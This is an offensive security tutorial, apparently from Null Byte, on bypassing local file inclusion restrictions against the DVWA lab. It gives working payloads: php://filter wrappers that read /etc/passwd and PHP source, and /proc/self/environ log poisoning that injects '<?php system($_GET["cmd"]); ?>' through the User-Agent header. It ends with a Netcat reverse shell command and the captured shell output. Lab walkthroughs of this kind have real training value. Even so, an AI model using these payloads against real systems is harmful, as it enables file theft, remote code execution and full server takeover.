How To: Beat LFI Restrictions with Advanced Techniques

Beat LFI Restrictions with Advanced Techniques

One of the most common web application vulnerabilities is LFI, which allows unauthorized access to sensitive files on the server. Such a common weakness is often safeguarded against, and low-hanging fruit can be defended quite easily. But there are always creative ways to get around these defenses, and we'll be looking at two methods to beat the system and successfully pull off LFI.

LFI (local file inclusion) is a technique that allows an attacker to access files on the system that they otherwise wouldn't be able to view. It's usually done via a vulnerable web app, where files outside of the web document root are accessed using various methods.

In all but the most poorly written web apps, LFI usually isn't as easy as merely requesting the desired file. But there are techniques to get around these restrictions, such as using the PHP filter method and the /proc/self/environ method. To test these out, we'll be using DVWA (Damn Vulnerable Web Application) as the target and Kali Linux as the attacking machine.

Method 1: PHP Filter Wrapper

To start, log into DVWA with the default credentials, which are admin and password.

Next, go to the "DVWA Security" page. Set the security level to "low" from the drop-down and hit "Submit."

Finally, navigate to the "File Inclusion" page, which is vulnerable to LFI.

The most basic type of LFI is the dot-dot-slash technique, in which the vulnerable parameter is replaced with dots and slashes (to climb the directories) to reach the desired target file. Below, we can see a typical LFI accessing the /etc/passwd file.

In most cases, we don't get that lucky, and there are safeguards in place to prevent this type of attack. But often we can bypass those restrictions with some clever use of PHP's filter wrapper.

PHP has a number of wrappers that allow access to input and output streams, and they are used to manipulate data being read or written. One of these wrappers is the filter wrapper, which is used to allow PHP's filter functions access to a stream once it is opened.

One of the parameter options of the filter wrapper is the ability to encode a resource in base64. We can use this to our advantage to view files that are being blocked in more restricted environments. For instance, to view the /etc/passwd file, place this code in the page parameter:

php://filter/convert.base64-encode/resource=/etc/passwd

When we load the page, we see a long string of base64 encoded data.

All we have to do now is decode it to view the contents. We can either use an online base64 decoder or simply echo the string in the terminal and pipe it through base64, using the -d flag to decode.

~# echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L2Jpbi9zaAptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovYmluL3NoCmxwOng6Nzo3OmxwOi92YXIvc3Bvb2wvbHBkOi9iaW4vc2gKbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovYmluL3NoCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L2Jpbi9zaAp1dWNwOng6MTA6MTA6dXVjcDovdmFyL3Nwb29sL3V1Y3A6L2Jpbi9zaApwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L2Jpbi9zaAp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi9iaW4vc2gKYmFja3VwOng6MzQ6MzQ6YmFja3VwOi92YXIvYmFja3VwczovYmluL3NoCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L2Jpbi9zaAppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L2Jpbi9zaApnbmF0czp4OjQxOjQxOkduYXRzIEJ1Zy1SZXBvcnRpbmcgU3lzdGVtIChhZG1pbik6L3Zhci9saWIvZ25hdHM6L2Jpbi9zaApub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi9iaW4vc2gKbGlidXVpZDp4OjEwMDoxMDE6Oi92YXIvbGliL2xpYnV1aWQ6L2Jpbi9zaApkaGNwOng6MTAxOjEwMjo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKc3lzbG9nOng6MTAyOjEwMzo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKa2xvZzp4OjEwMzoxMDQ6Oi9ob21lL2tsb2c6L2Jpbi9mYWxzZQpzc2hkOng6MTA0OjY1NTM0OjovdmFyL3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCm1zZmFkbWluOng6MTAwMDoxMDAwOm1zZmFkbWluLCwsOi9ob21lL21zZmFkbWluOi9iaW4vYmFzaApiaW5kOng6MTA1OjExMzo6L3Zhci9jYWNoZS9iaW5kOi9iaW4vZmFsc2UKcG9zdGZpeDp4OjEwNjoxMTU6Oi92YXIvc3Bvb2wvcG9zdGZpeDovYmluL2ZhbHNlCmZ0cDp4OjEwNzo2NTUzNDo6L2hvbWUvZnRwOi9iaW4vZmFsc2UKcG9zdGdyZXM6eDoxMDg6MTE3OlBvc3RncmVTUUwgYWRtaW5pc3RyYXRvciwsLDovdmFyL2xpYi9wb3N0Z3Jlc3FsOi9iaW4vYmFzaApteXNxbDp4OjEwOToxMTg6TXlTUUwgU2VydmVyLCwsOi92YXIvbGliL215c3FsOi9iaW4vZmFsc2UKdG9tY2F0NTU6eDoxMTA6NjU1MzQ6Oi91c3Ivc2hhcmUvdG9tY2F0NS41Oi9iaW4vZmFsc2UKZGlzdGNjZDp4OjExMTo2NTUzNDo6LzovYmluL2ZhbHNlCnVzZXI6eDoxMDAxOjEwMDE6anVzdCBhIHVzZXIsMTExLCw6L2hvbWUvdXNlcjovYmluL2Jhc2gKc2VydmljZTp4OjEwMDI6MTAwMjosLCw6L2hvbWUvc2VydmljZTovYmluL2Jhc2gKdGVsbmV0ZDp4OjExMjoxMjA6Oi9ub25leGlzdGVudDovYmluL2ZhbHNlCnByb2Z0cGQ6eDoxMTM6NjU1MzQ6Oi92YXIvcnVuL3Byb2Z0cGQ6L2Jpbi9mYWxzZQpzdGF0ZDp4OjExNDo2NTUzNDo6L3Zhci9saWIvbmZzOi9iaW4vZmFsc2UK | base64 -d

And now we can see the contents of /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false

The filter wrapper also contains a ROT13 cipher function, which will rotate each letter thirteen places. We can also use this to beat certain restrictions and view files. Here is the code:

php://filter/read=string.rot13/resource=/etc/passwd

When the page loads, we can see what appears to be a jumbled mess at the top.

Copy this data and enter it into a ROT13 decoder to get the contents of our file.

The filter wrapper can sometimes be used as a bypass just by simply specifying the resource we want without any encoding at all. Like so:

php://filter/resource=/etc/passwd

That can still give us the contents of /etc/passwd.

This wrapper is not only useful for viewing system files, but it can be used to read the source code of PHP files. For example, we can view the source code of include.php with the following line:

php://filter/convert.base64-encode/resource=include.php

Again, this will give us a base64 encoded string.

And we can decode it using the same process we did earlier.

~# echo PD9waHANCg0KJHBhZ2VbICdib2R5JyBdIC49ICINCjxkaXYgY2xhc3M9XCJib2R5X3BhZGRlZFwiPg0KCTxoMT5WdWxuZXJhYmlsaXR5OiBGaWxlIEluY2x1c2lvbjwvaDE+DQoNCgk8ZGl2IGNsYXNzPVwidnVsbmVyYWJsZV9jb2RlX2FyZWFcIj4NCg0KCQlUbyBpbmNsdWRlIGEgZmlsZSBlZGl0IHRoZSA/cGFnZT1pbmRleC5waHAgaW4gdGhlIFVSTCB0byBkZXRlcm1pbmUgd2hpY2ggZmlsZSBpcyBpbmNsdWRlZC4NCg0KCTwvZGl2Pg0KDQoJPGgyPk1vcmUgaW5mbzwvaDI+DQoJPHVsPg0KCQk8bGk+Ii5kdndhRXh0ZXJuYWxMaW5rVXJsR2V0KCAnaHR0cDovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9SZW1vdGVfRmlsZV9JbmNsdXNpb24nKS4iPC9saT4NCgkJPGxpPiIuZHZ3YUV4dGVybmFsTGlua1VybEdldCggJ2h0dHA6Ly93d3cub3dhc3Aub3JnL2luZGV4LnBocC9Ub3BfMTBfMjAwNy1BMycpLiI8L2xpPg0KCTwvdWw+DQo8L2Rpdj4NCiI7DQoNCj8+DQo= | base64 -d

Now we can view the source code of the page in plain text:

<?php

$page[ 'body' ] .= "
<div class=\"body_padded\">
    <h1>Vulnerability: File Inclusion</h1>

    <div class=\"vulnerable_code_area\">

        To include a file edit the ?page=index.php in the URL to determine which file is included.

    </div>

    <h2>More info</h2>
    <ul>
        <li>".dvwaExternalLinkUrlGet( 'http://en.wikipedia.org/wiki/Remote_File_Inclusion')."</li>
        <li>".dvwaExternalLinkUrlGet( 'http://www.owasp.org/index.php/Top_10_2007-A3')."</li>
    </ul>
</div>
";

?>

This method is especially useful if there is some function on the page that could potentially be abused for shell access or privilege escalation.

Method 2: /Proc/Self/Environ Command Execution

Another LFI technique that can be utilized in more restricted environments involves the /proc/self/environ file on Linux systems. The file contains environmental variables, and if we can access it as a non-root user (like www-data usually found on web servers), we can use it to get a shell.

First, see if we can access it by including it as the page parameter.

/proc/self/environ

We see some information about the environment displayed on the page.

While this can be useful for recon, what we are really after is command execution. It works by injecting PHP code into the user agent variable, which gets executed on the server when the page loads.

The easiest way to do that is to use a proxy like Burp Suite. Fire up Burp, make sure "Intercept is on," and load the page with the /proc/self/environ inclusion just like before. We should see the request in Burp as such:

There are two things we need to modify here. First, put this PHP code in the User-Agent field.

<?php system($_GET["cmd"]); ?>

That will call the system on the server and execute whatever command we pass to the "cmd" parameter. Next, append the desired command to the page parameter, like so:

page=/proc/self/environ&cmd=id

The final request should look like this:

We will first test for command execution with a simple id command, instead of jumping straight to a shell. Forward the request, and we should see the contents displayed at the top of the page just like before, but now the results of our command are shown in the user agent field.

We have command execution! Now the next step is to get a reverse shell. Start a listener on our local machine to catch the incoming connection.

~# nc -lvp 9988

listening on [any] 9988 ...

We will use the standard Netcat reverse shell method here. Reload the page and append the following command (using your own IP address and desired port) to the request, replacing the id command from earlier.

~# nc 10.10.0.1 9988 -e /bin/bash

That will connect to our listener and spawn a shell on our machine. Make sure to URL encode the command so the spaces play nice and it runs properly. Highlight it, and press Control U to do so. The request should look like this:

Once the page loads, our command gets executed, and we should see a connection open up on our machine. We now have a shell on the target and can issue commands like id and uname -a to verify.

10.10.0.50: inverse host lookup failed: Unknown host
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 59327

~# id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

~# uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

From here, it is only a matter of privilege escalation, and we would wholly own the system, all from a file inclusion vulnerability.

Wrapping Up

Today, we learned about local file inclusion, how it could be used to access system files, and advanced techniques to use in locked-down environments. First, we looked at PHP's filter wrapper and how it can be utilized to encode and read files and source code. We then explored /proc/self/environ LFI and how it can be leveraged to get a shell on the target. These just go to show that sometimes even a vulnerability as (seemingly) simple as LFI can lead to complete system takeover.

Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.

Cover image by myrfa/Pixabay; Screenshots by drd_/Null Byte

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest